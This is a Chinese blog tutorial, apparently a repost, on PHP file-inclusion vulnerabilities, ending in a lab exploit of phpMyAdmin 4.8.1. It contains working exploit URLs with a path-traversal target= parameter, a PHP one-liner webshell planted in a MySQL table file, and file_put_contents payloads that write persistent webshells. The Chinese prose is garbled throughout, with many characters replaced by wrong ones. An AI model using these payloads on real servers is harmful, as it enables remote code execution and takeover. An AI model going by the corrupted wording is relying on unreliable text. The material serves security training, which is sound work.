关于程序员:超详细本地文件包含漏洞详解小白也能懂

3次阅读

共计 2550 个字符,预计需要花费 7 分钟才能阅读完成。


为了避免代码反复,咱们就有了,文件蕴含。很多网页如果要用到很多同样的函数,那么咱们就能够应用这个文件蕴含函数,就防止了每个网页又去反复造轮子。




在 index.php 文件里蕴含 1.txt,而 1.txt 的内容是 phpinfo(),include 函数蕴含 1.txt,就会把 1.txt 的内容当成 php 文件执行,不论后缀是什么。1.txt 也好,1.xml 也好,只有外面是 php 代码,而后有被 include 函数蕴含,那么就被当成 PHP 文件执行。

如果蕴含的文件不存在,就会呈现致命的谬误,并报出绝对路径,然是不影响其余性能的执行,比方这里的 nf 和 123 的输入。

那么就表明 include 函数,如果呈现谬误的话,并不会影响其余性能的运行。

如果蕴含的文件不存在,就会呈现致命的谬误,并报出绝对路径,影响前面性能的执行,比方这里的 nf 的输入,前面的性能因为 2.txt 报错,导致 123 未执行。

那么就表明 require 函数,如果呈现谬误的话,会影响前面性能的运行。

只有文件内是 php 代码,文件蕴含是不在意文件后缀的。

12345.jpg 的传参值是 a,

那么咱们能够

 写传参值 =file_put_contents(‘8.php’,’<?php eval($_REQUEST[a]);?>’)

而后生成一个新的 php 文件

拜访 index.php

以上咱们接触的全副是本地文件蕴含

近程文件蕴含

简略来说 近程 文件蕴含,就是能够蕴含其余主机上的文件,并当成 php 代码执行。
要实现 近程 文件蕴含的话,
php 配置的 php 配置的 allow_url_include = on 必须为 on(开启)

来咱们能够来试验一下,把这个配置关上。

“其余选项菜单”——“关上配置文件”——“php-ini”

关上配置文件,搜寻 allow_url_include 把 Off 改为 On,注:第一个字母要为大写


之后要重启能力失效。

配置开启后,咱们来近程文件蕴含一下,咱们来近程蕴含一下 kali 上的 1.txt,能够看到没有本地蕴含,所以间接显示的内容。



那咱们当初来近程蕴含一下 kali 的这个 1.txt,看会不会有 phpinfo,留神我这里是 index 文件哦,所以是默认的。

能够看到,蕴含胜利!


这里能够插一句题外话,如果是 window 服务器的话,能够让本地文件蕴含变成近程文件蕴含。须要开始 XX 配置,SMB 服务。



这里咱们能够发现,进入一个不存在的目录,而后再返回上一级,相当于没变目录地位,这个是不影响的,而且这个不存在的目录轻易怎么写都能够。

然而 php 是十分严格的,进入一个不存在的目录,这里目录的名字里不能有 ?* 号,否则报错,而后再返回上一级,相当于没变目录地位,这个是不影响的,而且这个不存在的目录轻易怎么写都能够。

实战

留神,这里 php 版本过低,会装置不上


装置好后,咱们来解析下源码

1.txt 内容 phpinfo()

来本地文件蕴含一下,发现胜利

http://127.0.0.1/phpmyadmin/phpMyAdmin-4.8.1-all-languages/index.php?target=db_sql.php%253f/../11.txt

靶场实战

先创立一个库名:nf

接着创立表:ff, 字段数选 2 个就行了

而后选中咱们之前创立好的库名和表名,开始写入数据,第一个就写个一句话木马,第二个轻易填充。

而后咱们找到寄存表的门路。


这里咱们要传参 2 个,那么就加上 & 这里咱们找到之后传参 phpinfo

http://59.63.200.79:8010/phpmyadmin/phpMyAdmin-4.8.1-all-languages/index.php?target=db_sql.php%253f/…/…/…/…/…/phpstudy/mysql/data/nf/ff.frm&a=phpinfo();

因为 a 在 ff.frm 里

<?php eval($_REQUEST[a])?>
// 留神,这外面没有分号和单引号

文件蕴含

用 file_put_contents(‘8.php’,’<?php eval($_REQUEST[a]);?>’)写入一句话木马

URL 地址如下:

http://59.63.200.79:8010/phpmyadmin/phpMyAdmin-4.8.1-all-languages/index.php?target=db_sql.php%253f/…/…/…/…/…/phpstudy/mysql/data/nf/ff.frm`&`a=file_put_contents(‘8.php’,’<?php eval($_REQUEST[a])?>’);


写入胜利后,咱们连贯这个 8.php 的木马

在线测试时这样,然而我在 本地测试 的时候,还是有点不一样的。我就间接上不一样的中央,后面的中央都是一样的

  1. 创立一个库为 yingqian1984,
  2. 创立一个表为 yq1984
  3. 填充表数据, 因为跟下面一样,2 个字段一个木马,一个轻易数据
  4. 找数据表的地位,最初我发现我的 MySQL 寄存数据库的中央是在
    C:\ProgramData\MySQL\MySQL Server 5.7\Data\yingqian1984

文件蕴含胜利

http://127.0.0.1/phpmyadmin/p……/…/…/…/ProgramData/MySQL/MySQL Server 5.7/Data/yingqian1984/qy1984.frm&a=phpinfo();

用 file_put_contents(‘9.php’,’<?php eval($_REQUEST[a]);?>’)写入一句话木马

http://127.0.0.1/phpmyadmin/phpMyAdmin-4.8.1-all-languages/index.php?target=db_sql.php%253f/…/…/…/…/ProgramData/MySQL/MySQL Server 5.7/Data/yingqian1984/qy1984.frm&a=file_put_contents(‘9.php’,’<?php eval($_REQUEST[a])?>’);

* <?php eval($_REQUEST[a])?> 留神,这外面没有分号和单引号 *

传参胜利

本文由 mdnice 多平台公布

正文完
 0